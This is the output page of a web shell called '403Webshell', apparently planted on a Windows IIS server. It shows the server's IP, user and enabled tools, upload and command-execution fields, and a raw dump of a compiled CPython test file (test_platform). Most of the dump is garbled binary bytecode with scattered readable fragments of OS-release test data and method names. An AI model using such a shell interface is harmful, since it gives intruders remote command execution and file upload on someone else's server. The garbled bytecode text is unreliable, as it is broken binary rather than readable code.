403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/__pycache__/test_platform.cpython-315.pyc
R
>lqj�c�<�]PHs]PHs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]QH$G
s
]QH,Gs]QH4GsGs]PHBsQsQsQsQQ\	O*2sQ	Q
\	O*2s\Q6Xc\	O22P!P!\cPsKWh9h)�)�mock)�support)�	os_helper�warnings_helpera�NAME=Fedora
VERSION="32 (Thirty Two)"
ID=fedora
VERSION_ID=32
VERSION_CODENAME=""
PLATFORM_ID="platform:f32"
PRETTY_NAME="Fedora 32 (Thirty Two)"
ANSI_COLOR="0;34"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:32"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f32/system-administrators-guide/"
SUPPORT_URL="https://fedoraproject.org/wiki/Communicating_and_getting_help"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
REDHAT_BUGZILLA_PRODUCT_VERSION=32
REDHAT_SUPPORT_PRODUCT="Fedora"
REDHAT_SUPPORT_PRODUCT_VERSION=32
PRIVACY_POLICY_URL="https://fedoraproject.org/wiki/Legal:PrivacyPolicy"
a~NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
a
# test data
ID_LIKE="egg spam viking"
EMPTY=
# comments and empty lines are ignored

SINGLE_QUOTE='single'
EMPTY_SINGLE=''
DOUBLE_QUOTE="double"
EMPTY_DOUBLE=""
QUOTES="double\'s"
SPECIALS="\$\`\\\'\""
# invalid lines
=invalid
=
INVALID
IN-VALID=value
IN VALID=value
c�`�\sQs]RsnQsQsQs\O\	O2Q22sQsQs
QsQsQ	sQ
sQsQsQ
sQsQsQsQs\O4\O8O;Q2Q2Q2sQsQs Qs!Qs"Qs#Qs$Qs%\OL\O8Q/7Q2\	O2Q22s'\O4\O8O;Q2Q2Q2s(\O4\	ORQ2Q 2s*\OL\	ORQ!2Q"2s+Q#s,\-O\2\O4\O8Q$6HQ%2Q&22s/Q's0Q(s1Q)s2\	OfQ*2s4Q+s5Q,s6Q-s7Q.s8Us9P!)0�PlatformTestc��[OO2[OO2P[mP[mP!�N)�platform�_platform_cache�clear�_sys_version_cache�_uname_cache�_os_release_cache��selfs&�'C:\Python315\\Lib\test\test_platform.py�clear_caches�PlatformTest.clear_cachesSs6��� � �&�&�(��#�#�)�)�+� $���%)��"�c��UO2UO[O-2UO[O-2UO[O2UO[O2[O2[O2[O2UO[O-2UO[O-2UO[O2[O2UO[O2UOQ29^tt^2[O2UO[O-2UO[O-2UO[O2UO[O2PPP2P![c#SO[O2K�h9h)%fhP!9h)zclear platform caches)r�assertDictEqualr
rr
�assertIsNonerr�python_implementation�uname�assertNotEqual�assertIsNotNone�freedesktop_os_release�OSError�subTest�invalidate_cachesrs&r�test_invalidate_caches�#PlatformTest.test_invalidate_cachesYs����������X�5�5�r�:����X�8�8�"�=����(�/�/�0����(�4�4�5�	�����&�&�(�����	
���H�4�4�b�9����H�7�7��<����X�2�2�3�	=��+�+�-�
� � ��!;�!;�<�
�\�\�1�
2�
2��&�&�(�� � ��!9�!9�2�>�� � ��!<�!<�b�A����h�3�3�4����h�8�8�9�3�
2���	:����h�8�8�9�	:��
3�
2�
2�s+�/H�<BI
�	I�$ I�I�
I	�I	c�2�[O2oP!r	)r
�architecture�r�ress& r�test_architecture�PlatformTest.test_architectureys���#�#�%�rc	���[O29^tt^2oQoUOUOUUOU2PPP2P!)%fhP!9h)�-c)r*z/import platform; print(platform.architecture()))r�
PythonSymlink�assertEqual�	call_real�	call_link)r�py�cmds&  r�test_architecture_via_symlink�*PlatformTest.test_architecture_via_symlink|sK���
"�
"�
$�
$��I�C����R�\�\�3�/����s�1C�D�%�
$�
$�
$�s�3A�A-	�%A-	c�\�QFD#oQFDo[OV2oJ	J%	P!)F)FT)r
)r�aliased�terser&s&   r�
test_platform�PlatformTest.test_platform�s&��$�G�&���'�'��7��'�%rc	���QFDNvqUOUQ59^tt^2UO[OU2U2PPP2JP	P!)%fhJe9h)�foo bar)�src))r9�foo_bar)z1/2\3:4;5"6(7)8(7)6"5;4:3\2/1z1-2-3-4-5-6-7-8-7-6-5-4-3-2-1)z--�)�-fr=)z-foo----�-foo)z--foo---r>)z---foo--r>)rr,r
�	_platform)rr:r&s&  r�test__platform�PlatformTest.test__platform�sR��
�H�C����#��&�&�� � ��!3�!3�C�!8�#�>�'�&�
�'�&�&�s�'A	�A*
�"A*
c�2�[O2oP!r	)r
�systemr%s& r�test_system�PlatformTest.test_system�s���o�o��rc�2�[O2oP!r	)r
�noder%s& r�	test_node�PlatformTest.test_node�s
���m�m�o�rc�2�[O2oP!r	)r
�releaser%s& r�test_release�PlatformTest.test_release������� �rc�2�[O2oP!r	)r
�versionr%s& r�test_version�PlatformTest.test_version�rNrc�2�[O2oP!r	)r
�machiner%s& r�test_machine�PlatformTest.test_machine�rNrc�2�[O2oP!r	)r
�	processorr%s& r�test_processor�PlatformTest.test_processor�s��� � �"�rc��[OUm[OUm[O
UmP!r	)�sysrP�save_version�_git�save_gitr
�
save_platformrs&r�setUp�PlatformTest.setUp�s%���K�K�������
� �\�\��rc��UO[mUO[mUO
[mP!r	)r]r\rPr_r^r`r
rs&r�tearDown�PlatformTest.tearDown�s'���'�'����=�=����)�)��rc�F�QFD7vq[OU2vq4qVqxo	UOV4PPVxU	1U2J9	QQUO1QQQ	Q
QQQUO1Q
-o
U
O	2FCDWvvq�q�U[
mUe[[
Q2%c[
;LU[
mU
dU
[
mUO[O2U]*2UO[O2U]*2UO[O2U]*2UO[O2U]*2UO[O2U]*2UO[O2U]*2CJZ	UO[ 29^tt^2[OQ2PPP2P!)%fhP!9h)�C2.4.3 (#1, Jun 21 2006, 13:54:21) 
[GCC 3.3.4 (pre 3.3.5 20040809)]zX2.6.1 (r261:67515, Dec  6 2008, 15:26:00) 
[GCC 4.0.1 (Apple Computer, Inc. build 5370)]z12.5.2 (63378, Mar 26 2009, 18:03:29)
[PyPy 1.0.0]r^z2. 4.3 (truncation) 
[GCC])	)rg)�CPython�2.4.3r<r<�1zJun 21 2006 13:54:21zGCC 3.3.4 (pre 3.3.5 20040809))z"2.4.3 (truncation, date, t) 
[GCC])rhrir<r<�
truncationzdate t�GCC)z!2.4.3 (truncation, date, ) 
[GCC]�rhrir<r<rk�daterl)z 2.4.3 (truncation, date,) 
[GCC]rm)z2.4.3 (truncation, date) 
[GCC]rm)z2.4.3 (truncation, d) 
[GCC])rhrir<r<rk�drl)z2.4.3 (truncation, ) 
[GCC]�rhrir<r<rkr<rl)z2.4.3 (truncation,) 
[GCC]rp)z2.4.3 (truncation) 
[GCC]rp)rh�	tags/r261�67515)rhz2.6.1rqrr)z
r261:67515zDec  6 2008 15:26:00z+GCC 4.0.1 (Apple Computer, Inc. build 5370))zC3.10.8 (tags/v3.10.8:aaaf517424, Feb 14 2023, 16:28:12) [GCC 9.4.0]N�linux)rhz3.10.8r<r<)ztags/v3.10.8:aaaf517424zFeb 14 2023 16:28:12z	GCC 9.4.0)z^2.5 (trunk:6107, Mar 26 2009, 13:02:18) 
[Java HotSpot(TM) Client VM ("Apple Computer, Inc.")])�Jython�trunk�6107�java1.5.0_16)rtz2.5.0rurv)z
trunk:6107�Mar 26 2009rw)�PyPyru�63378)ryz2.5.2rurz)rzrxr<)r
�_sys_versionr,r`�itemsr\rP�hasattrr^r�python_version�
python_branch�python_revision�python_build�python_compiler�assertRaises�
ValueError)r�input�output�namerP�branch�revision�buildno�	builddate�compiler�sys_versions�version_tag�scm�sys_platform�infos&              r�test_sys_version�PlatformTest.test_sys_version�s����M�E�.�*�*�5�1�
L�T�F�g�(������B��H�E�v�
O�1�<i�
.��0B�0B�
D�@�
�R�
9�@�B�
'��);�);�
=��/��6�"�"�$�$�
3�,�[�|�%�C�K��{��3��'�'��������'�+������X�;�;�=�t�A�w�G����X�4�4�6��Q��@����X�3�3�5�t�A�w�?����X�5�5�7��a��A����X�2�2�4�d�1�g�>����X�5�5�7��a��A�%� �
�
�z�
*�
*��!�!�"?�@�+�
*�
*�
*�s�.H�H 	�H 	c��[O[O2[O2[O22oP!r	)r
�system_aliasrCrKrPr%s& r�test_system_alias�PlatformTest.test_system_aliass4���#�#��O�O����������
�rc��[O2oUO[U22UO	U]*UO
2UO	UQ*UO
2UO	U]*UO2UO	UQ*UO2UO	U]*UO2UO	UQ	*UO2UO	U]*UO2UO	UQ
*UO2UO	U]*UO2UO	UQ*UO2UO	U]*UO2UO	UP*UO2UO	[U2]2[OQ6XCc�[O2oUO	UOUO2UO	UOUO2UO	UOUO2[OQ6XcXUO	UO
Q2UO	UO[O 2O2P![OQ6Xc�["%cZUO%UO
QQ.2UO	UO[O&2O2P!UO	UO
P2UO	UOP2P!UO	UO
UO(2UO	UOUO2P!P!)r�posix�android�Android�ios�iOS�iPadOSi����������������)r
r�
assertTrue�anyr,rCrGrKrPrTrX�len�osr��nodenamer\�android_ver�_ctypes�assertIn�ios_ver�sysname)rr&rs&  r�
test_uname�PlatformTest.test_unames����n�n�������C��!�����Q�����,�����R��#�*�*�-�����Q�����*�����R��#�(�(�+�����Q�����-�����R��#�+�+�.�����Q�����-�����R��#�+�+�.�����Q�����-�����R��#�+�+�.�����Q�����/�����R��#�-�-�0�����S��1�%�
�7�7�g���H�H�J�E����S�X�X�u�~�~�6����S�[�[�%�-�-�8����S�[�[�%�-�-�8��|�|�y�(�� � ����Y�7�� � ����h�.B�.B�.D�.L�.L�M�����&��7��M�M�#�*�*�u�h�.?�@��$�$�S�[�[�(�2B�2B�2D�2L�2L�M��$�$�S�Z�Z��4��$�$�S�[�[�"�5�� � ����U�]�]�;�� � ����e�m�m�<�+r�winzwindows only testc��Qo[O[QU29^tt^2UO2PPP2P!)%fhP!9h)c��[2gr	�r��as*r�raises_oserror�APlatformTest.test_uname_win32_without_wmi.<locals>.raises_oserror3�	���)�Or�
_wmi_query)r�	swap_attrr
r�)rr�s& r�test_uname_win32_without_wmi�)PlatformTest.test_uname_win32_without_wmi1s8��	��
�
�x��~�
F�
F��O�O��G�
F�
F�
F�s�A�A	�
A	c���[O2oUOUOUOUO
UOUO1oUO[U2U2P!r	)
r
rrCrGrKrPrTrXr,�tuple�rr&�expecteds&  r�test_uname_cast_to_tuple�%PlatformTest.test_uname_cast_to_tuple9sQ���n�n����J�J����#�+�+�s�{�{�C�K�K��M�M�
��	
����s��X�.rc���[O2oUOQQQQQQ5oUOUOQ2UOUO
Q2UOUOQ2UOUOQ2UOUOQ2UOUOUO2P!)rCrGrKrPrT)rCrGrKrPrT)
r
r�_replacer,rCrGrKrPrTrX)rr&�news&  r�test_uname_replace�PlatformTest.test_uname_replaceAs����n�n����l�l��&�)��y��2��	
������X�.�������6�*�������i�0�������i�0�������i�0��������
�
�6rc���[O2oUO[OU2U2UO[OU2U2P!r	)r
rr,�copy�deepcopy)rrs& r�test_uname_copy�PlatformTest.test_uname_copyNs@����� ��������5�)�5�1�������u�-�u�5rc	�j�[O2o[[O]*2FDcoUOUQ59^tt^2[OV2o[OU2oUOVA2PPP2Je	P!)%fhJz9h)�)�protocol)	r
r�range�pickle�HIGHEST_PROTOCOLr�dumps�loadsr,)r�orig�proto�pickled�restoreds&    r�test_uname_pickle�PlatformTest.test_uname_pickleSsu���~�~����6�2�2�Q�6�7�E����u��-�-� �,�,�t�3��!�<�<��0��� � ��0�.�-�8�-�-�-�s�>B!	�!B2
�*B2
c��[O2o[U2oUOUQ*U2UOUQ*UQ*2P!):NNN:N�N)r
rr�r,r�s&  r�test_uname_slices�PlatformTest.test_uname_slices[sC���n�n�����:������Q���*�����R��(�2�,�/rc�f�UOQ[O2O2P!)rX)r�r
r�_fieldsrs&r�test_uname_fields�PlatformTest.test_uname_fieldsas���
�
�k�8�>�>�#3�#;�#;�<rc��[O2O2oUO[	U2]2UOQU2P!)�rX)r
r�_asdictr,r�r�r%s& r�test_uname_asdict�PlatformTest.test_uname_asdictds9���n�n��&�&�(������S��1�%��
�
�k�3�'rzuname -p not usedc�*�[OQQ,P	Q5O2o[OU2oUO[O2OU2P![
[O1cPoKPh9h)zd
On some systems, the processor must match the output
of 'uname -p'. See Issue 35967 for rationale.
rz-p��text)
�
subprocess�check_output�stripr
�_unknown_as_blankr�CalledProcessErrorr,rrX)r�proc_res�expects&  r�test_uname_processor�!PlatformTest.test_uname_processorisv��	�!�.�.����T�J�P�P�R�H��/�/��9�F�	
������)�3�3�V�<����6�6�7�	��F�	�s�>A2�2B�B�Bc
�.�Qo[O[QU29^tt^2[O29^tt^2oUQQUQ$P[m[O2vq4qVqxUOUQ2QUQ$P[m[O2vq4qVqxUOUQ2P[mPPP2PPP2P!P[mh9h)%fhK*9h)%fhP!9h)c��[2gr	r�r�s*rr��BPlatformTest.test_uname_win32_ARCHITEW6432.<locals>.raises_oserror�r�rr��PROCESSOR_ARCHITEW6432�foo�PROCESSOR_ARCHITECTURE�bar)rr�r
r�EnvironmentVarGuardrrr,)	rr��environrCrGrKrPrTrXs	&        r�test_uname_win32_ARCHITEW6432�*PlatformTest.test_uname_win32_ARCHITEW6432ws���	��
�
�x��~�
F�
F��.�.�0�0�G�1�� 8�9�8=�G�4�5�,0�H�)�IQ���IY�F�F�'�G��$�$�W�e�4�8=�G�4�5�,0�H�)�IQ���IY�F�F�'�G��$�$�W�e�4�,0�H�)�1�G�
F��-1�H�)��1�0��G�
F�
F�sH�D�C0	�	A9C �C0	�D� 
C-�-C0	�0D
�9D
�;D�D	�D	z%This test only makes sense on Windowsc��Qvqq4[OVV42oUO[U2]2Uvqgq�U%cUO	Va2U%c7UOQU2UO
Q2FDo
[U
2J	U%cUOUQ2U	%cC[O2]6�cUOQU	2P!UOQU	2P!P!)r��.�SP�Multiprocessor�Uniprocessor)r��b�cro)r
�	win32_verr,r�rr��split�int�assertStartsWithr��	cpu_count)r�release1�version1�csd1�ptype1r&rKrP�csd�ptype�vs&          r�test_win32_ver�PlatformTest.test_win32_ver�s���+=�(��D�� � ��T�B������S��1�%�'*�$��#��
����2��
�M�M�#�w�'��]�]�3�'���A��(���!�!�#�t�,���|�|�~��!��
�
�.��6��
�
�n�e�4�	rz)This test only makes sense on non Windowsc�t�Qvqq4[OVV42oUOVQV#U1[Q5P!)r�)�seq_type)r��1.0rro)r
r�assertSequenceEqualr�)rrKrPrrr&s&     r�test_win32_ver_on_non_windows�*PlatformTest.test_win32_ver_on_non_windows�s8��';�$��#�� � ��3�>��� � ���e�&D�u� �Urc�J�[O2o[O2OQ6XCch[O
Q,P	Q5oUO
2FDBoUOQ2%fJUO2O2P*oL	UOQU802U]*OQ2oWOQ2o[U2[U2*
oU]6�cUOQ,U*2UQQ,6wcUOVV2UOU]*Q2[OQ	6XcUO!U]*Q2P!UOU]*Q
2P!P!)
�Darwin�sw_versr�zProductVersion:z failed to parse sw_vers output: r��0�10�16�little�PowerPC�r<r<r<)�i386�x86_64�arm64)r
�mac_verrrCr�r��
splitlines�
startswithr�r�failr��extendr,r\�	byteorderr�)rr&r��line�real_ver�result_list�expect_list�len_diffs&       r�test_mac_ver�PlatformTest.test_mac_ver�sJ����� ���>�>��"�"�h�.� �,�,�i�[�t�D�F��)�)�+���?�?�#4�5�5�#�z�z�|�1�1�3�B�7�H��,�
�	�	�<�V�J�G�H��a�&�,�,�s�+�K�"�.�.��-�K��;�'�#�k�*:�:�H��!�|��"�"�C�5�8�#3�4��t�T�l�*�� � ��:�

���S��V�\�2��}�}��(��
�
�c�!�f�&A�B�� � ��Q���3�=/r�darwinz
OSX only testc���[O2oU]6Xc.[O2o[O]2P![
OU]Q5P!)r)�exitcode)r��forkr
r%�_exitr�wait_process)r�pidr�s&  r�test_mac_ver_with_fork�#PlatformTest.test_mac_ver_with_fork�sA���g�g�i���!�8��#�#�%�D��H�H�Q�K�
� � ��q�1rc�\�[O2o[OQ6XCc�[%Cc|Uvq#qEUO	UO
U2UO	UOU2UO	UOU2UO	UOU2UOUQQ.2UOQ2oUO[U2]2SO[9PIcQU2D%cJP
L	P	LQU222U%cUOUQQ.2LFSOUOQ29%fUOQ29%cQU72UO	[!U2["2P!UO	UO
P2UO	UOP2UO	UOP2UO%UO2[OQQ	Q
P	2oUO	UO
Q2UO	UOQ	2UO	UOQ
2UOUO2P!)r�r�r�r�c3�L�SF �DpO2w�	J	P!3hr	)�isdigit)�.0�parts& r�	<genexpr>�,PlatformTest.test_ios_ver.<locals>.<genexpr>�s��5���5�4�����5�s�$�iPhone�iPad�,�Foo�Bar�Whiz)r
r�r\r�r,rCrK�model�is_simulatorr�r�assertGreaterEqualr�r��allr'�type�bool�assertFalse)r�resultrCrKrHrI�parts�overrides&       r�test_ios_ver�PlatformTest.test_ios_ver�s���!�!�#���<�<�5� �W�W�39�0�F�U����V�]�]�F�3����V�^�^�W�5����V�\�\�5�1����V�0�0�,�?�
�M�M�&�5�(�"3�4��M�M�#�&�E��#�#�C��J��2��O�O�C�C�A�5�A�C�C�C�A�5�A�A�B�
��
�
�e�h��%7�8�����%�%�h�/�K�K�5�3C�3C�F�3K�%�%��u���

���T�,�/��6�
���V�]�]�B�/����V�^�^�R�0����V�\�\�2�.����V�0�0�1� �'�'��u�f�d�C�H����X�_�_�e�4����X�-�-�u�5����X�^�^�V�4��O�O�H�1�1�2rc���[O%c[O2Q
6XfPgP![O
O
[O2%cS[O
O[OQ*2%c[OQ*oLn[OQ6XcJ[O
O[O2%f]PH*oUO]2oL[Oo[OU2[OoUO[OU2[ O"QP	QQ59^tt^2UO%[O2Q2QFDqvqE['UQ29^tt^2oUO)QU*2UO+2PPP2UO%[OUQ5U2Js	PPP2]�oQFD|vqE['UQ29^tt^2oUO)QU]
*
*2UO)U2PPP2UO%U[OUQ	Q
UQ52J~	P!)%fhK�9h)%fhK�9h)%fhKf9h)�
emscriptenz.exe�win32z
os.confstrzmock 1.0)�create�return_value�wbs
[xxx%sxxx])�
executable�test�100.1.0�x)�librP�	chunksize)rUz4.0.19)rr))s__libc_init)�libcr<)s	GLIBC_2.9)�glibcz2.9)s
libc.so.1.2.5)r`�1.2.5)slibc_pthread.so.1.2.5)r`z
1.2.5_pthread)s /aports/main/musl/src/musl-1.2.5��muslrb)s/aports/main/musl/src/musl-12.5)rdz12.5)s"/aports/main/musl/src/musl-1.2.5.7)rdz1.2.5.7)slibc.musl.so.1�rdrj)slibc.musl-x86_64.so.1.2.5rc)sld-musl.so.1re)sld-musl-x86_64.so.1.2.5rc)r)r<r<))s"GLIBC_1.23.4GLIBC_1.9GLIBC_1.21)raz1.23.4)s#libc.so.2.4libc.so.9libc.so.23.1)r`z23.1)s!musl-1.4.1musl-2.1.1musl-2.0.1�rdz2.1.1)sMlibc.musl-x86_64.so.1.4.1libc.musl-x86_64.so.2.1.1libc.musl-x86_64.so.2.0.1rf)sGld-musl-x86_64.so.1.4.1ld-musl-x86_64.so.2.1.1ld-musl-x86_64.so.2.0.1rf)s#no match here, so defaults are used)r[r\)r�
is_emscriptenr
�libc_verr��path�isdirr\rZ�exists�_winapi�GetModuleFileNamer�TESTFN�
addCleanup�unlinkr�patchr,�open�write�flush)	rrZrl�filename�datar��fpr_�fs	&        r�
test_libc_ver�PlatformTest.test_libc_vers���� � � ��$�$�&�*B�B�B�B��
�7�7�=�=����(�(�
�7�7�>�>�#�.�.��/�0�0����&�0�J�
�\�\�W�
$�R�W�W�^�^�C�N�N�-K�-K�
� �2�2�1�5�J����J����*�%��#�#�����	�(�(�(�3�
�Z�Z��T�
�
K�
K����X�.�.�0�/�B�#����(�D�)�)�R��H�H�]�T�1�2��H�H�J�*�
� � ��!2�!2�h�!G�!)�+�)#�L�>�	�
�N�D��h��%�%������i�"�n�-�.�����
�&�
�����!�!���%�'�	�
�%
�*�)��)L�
K��\&�%�sC�AK�)J=
�;3K�1K#	�=K
�K
�K�K 	�K 	�#K3
�,K3
c	���[O2oUOU[2UO	VO
UOUOUOUOUO12[OQ6Xc�QFDXoUOU29^tt^2[V2oUOU[2UOUP2PPP2JZ	UOUO[ 2UO#UO[O$22UOUO[&2P!UO	UO
P2UO	UO]2UO	UOP2UO	UOP2UO	UOP2UO	UOP
2[OQ]QQQP	2oUO	UO
Q2UO	UO]2UO	UOQ2UO	UOQ2UO	UOQ2UO	UOP	2P!)%fhCJL9h)r��alpha�bravo�charlie�delta)rK�manufacturerrH�device)r
r��assertIsInstancer�r,rK�	api_levelr�rHr��is_emulatorr\r�getattr�strrrrJ�getandroidapilevelrM)rr&r��values&   r�test_android_ver�PlatformTest.test_android_veris���"�"�$�����c�5�)�����{�{�C�M�M�3�;K�;K�"�y�y�#�*�*�c�o�o�G�	H��<�<�9�$�F���\�\�$�'�'�#�C�.�E��)�)�%��5��'�'��r�2�(�'�G�
�!�!�#�-�-��5��#�#�C�M�M�3�3I�3I�3K�L��!�!�#�/�/�4�8�
���S�[�[�"�-����S�]�]�A�.����S�-�-�r�2����S�Y�Y��+����S�Z�Z��,����S�_�_�e�4��&�&���G�Y���?�C����S�[�[�'�2����S�]�]�A�.����S�-�-�w�7����S�Y�Y�	�2����S�Z�Z��1����S�_�_�d�3�7(�'�'�s�44K	�K$
�K$
c�X�]QHGoUOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ	22UOUQ2UQ
22UOUQ	2UQ22UOUQ
2UQ22UOUQ2UQ22UOUQ2UQ
22UOUQ2UQ22UOUQ
2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ22UOUQ2UQ 22UOUQ!2UQ"22UOUQ!2UQ22UOUQ 2UQ"22UOUQ2UQ"22UOUQ#2UQ$22UOUQ%2UQ&22UOUQ'2UQ(22P!))r)�_comparable_versionz1.2.3z1.2.10z1.2.3.4z1_2-3+4z1.2spamz1.2devz1.2alphaz1.2az1.2betaz1.2bz1.2cz1.2RCz1.2rcz1.2.0z1.2plz1.2pz1.5.1z1.5.2b2z3.10a�161z8.02z3.4jz
1996.07.12z3.1.1.6z3.2.pl0�2g6�11gz0.9z2.2z1.2z1.2.1z1.1z1.2.2z0.4z0.4.0z1.13++z5.5.kwz0.960923z	2.2beta29)r
r�r,�
assertLess)r�Vs& r�test__comparable_version�%PlatformTest.test__comparable_version�s���5�����7��Q�w�Z�0�����'�
�A�h�K�0�����9��q��|�4�����)��a��k�2�����(��Q�z�]�3�����(��Q�v�Y�/�����*�
�q��|�4�����&�	�1�V�9�-�����)��a��i�0�����&�	�1�V�9�-�����&�	�1�W�:�.�����&�	�1�W�:�.�����'�
�A�g�J�/�����'�
�A�g�J�/�����'�
�A�g�J�/�����'�
�A�f�I�.�����'�
�A�i�L�1�����'�
�A�e�H�-�����6��A�f�I�.�����&�	�1�\�?�3�����)��a�	�l�3�����%��!�E�(�+�����%��!�E�(�+�����%��!�G�*�-�����%��!�G�*�-�����%��!�E�(�+�����'�
�A�g�J�/�����%��!�G�*�-�����%��!�G�*�-�����(��Q�x�[�1�����*�
�q��~�6rc�j�UOUO2QoQ	o[OO	[
QQ29^tt^2[OO	[QUQ59^tt^2[OO	[QUQ59^tt^2Q
FD�vq4o[OO	[QUQ59^tt^2UO2UO[O]Q5U2UO[O2U2PPP2J�	PPP2PPP2PPP2P!)%fhJ�9h)%fhK69h)%fhKA9h)%fhP!9h)rr
r2r)rXr$r%)r5)r�hostnamez17.7.0z_Darwin Kernel Version 17.7.0: Thu Jun 21 22:53:14 PDT 2018; root:xnu-4570.71.2~1/RELEASE_X86_64r#r")�64bitr<))r!z
Darwin-17.7.0zDarwin-17.7.0-x86_64-i386-64bit))z10.13.6r!r#z
macOS-10.13.6zmacOS-10.13.6-x86_64-i386-64bit)rorrrq�objectr\r
r,)rr�archr%�expected_terser�s&     r�
test_macos�PlatformTest.test_macos�s7������)�)�*�#��
��
�Z�Z�
�
�s�J��
9�
9�
�Z�Z�
�
�x��u�
�
E�
E�
�Z�Z�
�
�x��d�
�
K�
K�	6�1����Z�Z�&�&�x��4;�'�=�=��%�%�'��$�$�X�%6�%6�Q�%?��P��$�$�X�%6�%6�%8�(�C�	=�=�	6�L�F�:�
9�=�=�=��L�
K��F�
E��:�
9�
9�sm�/F!�=/F	�,8E;
�$AE'�E;
�
F	�F!�'E8�0E8�2	E;
�;F�F�F	�F
�F
�F!�!F2	�*F2	c�p�UOUO2UO2[9PIc*Q[O2D%fJP	L	P
LQ[O22%cf[O
2oUO
QU2UO
QU2QUQ$UOQ[O
22P!UO[29^tt^2[O
2PPP2P!)%fhP!9h)c3�l�SF �D%o[OOU2w�	J'	P!3hr	)r�ri�isfile)r>�fns& rr@�;PlatformTest.test_freedesktop_os_release.<locals>.<genexpr>�s#��,K���,K�b�r�w�w�~�~�b�!�!�,K�s�-4�NAME�IDr[�CPYTHON_TEST)
rorr�r
�_os_release_candidatesrr��assertNotInr�r)rr�s& r�test_freedesktop_os_release�(PlatformTest.test_freedesktop_os_release�s�������)�)�*������3�L�H�,K�,K�L�3�3�3�L�H�,K�,K�L�L�L��2�2�4�D��M�M�&�$�'��M�M�$��%�#)�D�� ������/�/�1�
�
�"�"�7�+�+��/�/�1�,�+�+�+�s�D$�$D5	�-D5	c��[O[O22oUO	UQ*Q2UO	UQ*Q2UOQU2UO	UQ*P2[O[O22oUO	UQ*Q2UO	UQ*Q2UO	UQ*Q2UO	UQ*Q	2[O[O22oQQ
QQQQQQ
QPQQQPQQQPQQQQ-oUO	V2UO	[UQ*2]2P!)r��Fedorar��fedora�ID_LIKE�VERSION_CODENAME�Ubuntu�ubuntu�debian�focalrs�Linux�PRETTY_NAMEzegg spam viking�EMPTY�DOUBLE_QUOTE�double�EMPTY_DOUBLE�SINGLE_QUOTE�single�EMPTY_SINGLE�QUOTESzdouble's�SPECIALSz$`\'")	r
�_parse_os_release�FEDORA_OS_RELEASEr&r,r��UBUNTU_OS_RELEASE�TEST_OS_RELEASEr�)rr�r�s&  r�test_parse_os_release�"PlatformTest.test_parse_os_release�sX���)�)�*;�*F�*F�*H�I������f��x�0�����d��X�.�����D�)�����0�1�2�6��)�)�*;�*F�*F�*H�I������f��x�0�����d��X�.�����i��(�3�����0�1�7�;��)�)�/�*D�*D�*F�G���'��G��7��(��R��H��B��H��B��j��	�
��	
����(�����T�*�-�.��2r)r_r`r])rV�OpenVMS):�__name__�
__module__�__qualname__�__firstlineno__rr!r'r�skip_unless_symlinkr�requires_subprocessr1r6r@rDrHrLrQrUrYrardr�r�r��unittest�
skipUnlessr\r
r'r�r�r�r�r�r�r�r��skipIfr�r��
MS_WINDOWSrrr0r�*ignore_fork_in_thread_deprecation_warningsr9rRryr��cpython_onlyr�r�r�r��__static_attributes__�__classdictcell__��
__classdict__s@rrrRs"����*�:�@&��"�"�� � �"�E�#�#�E�
8�
?�  ��!�!�!�#�*�
*�
KA�Z
�&=�R������0�0��7�9L�M��N��/�7�6�
1�0�=�(�
�_�_�S�\�\�%9�9�;N�O�� � �"�
=�#�P�
=�������0�0��7�9L�M�1�N�1�4����+�+�-T�U�5�V�5�0�_�_�W�'�'�)T�U�V�V�V�
!4�F�?�?�A�
�������1�?�C�
2�D�B�
2�03�dO�d#4�J
���!7��!7�HD�82�$3�3rrc�`�\sQsQsnQsQs\OQ2sQs	Qs
\OQ2sQsUs
P!)	�CommandLineTest�c�p�[O2UO[O2P!r	)r
r rors&rra�CommandLineTest.setUps ���"�"�$�����2�2�3rc��[O2o[OU29^tt^2[O
UQ5PPP2UO
2!)%fhSO
2!9h)��args)�io�StringIO�
contextlib�redirect_stdoutr
�_main�getvalue)r�flagsr�s&* r�invoke_platform�CommandLineTest.invoke_platformsR�������
�
'�
'��
/�
/��N�N��&�0���� � �0�
/���� � �s�A%�%B	�.B	c	�z�[O2oUO[29^tt^2[O
U29^tt^2UO
Q2oPPP2PPP2UOUO2Q2P!)%fhK:9h)%fhKE9h)z	--unknownzusage: )	r�r�r��
SystemExitr��redirect_stderrr�rr�)rr��_s&  r�test_unknown_flag�!CommandLineTest.test_unknown_flagst�������
�
�
�z�
*�
*��+�+�F�3�3��(�(��5��4�+�	
���f�o�o�/��;�4�3��+�
*�s/�B*�B	�%B*�B'
� B'
�"B*�*B:	�3B:	c��Qo[[U2]*2FD2o[OV2FDoUOUJ	J4	P!)�--terse)r��--nonaliasedr5�
nonaliased)r�r��	itertools�combinationsr�)rr��r�combinations&   r�test_invocation�CommandLineTest.test_invocationsF��
���s�5�z�A�~�&�A�(�5�5�e�?���$�$�k�2� @�'rc��Q,P
P
1Q,P
P
1Q,P	P	1Q,P	P	1QQ,P
P	1QQ,P
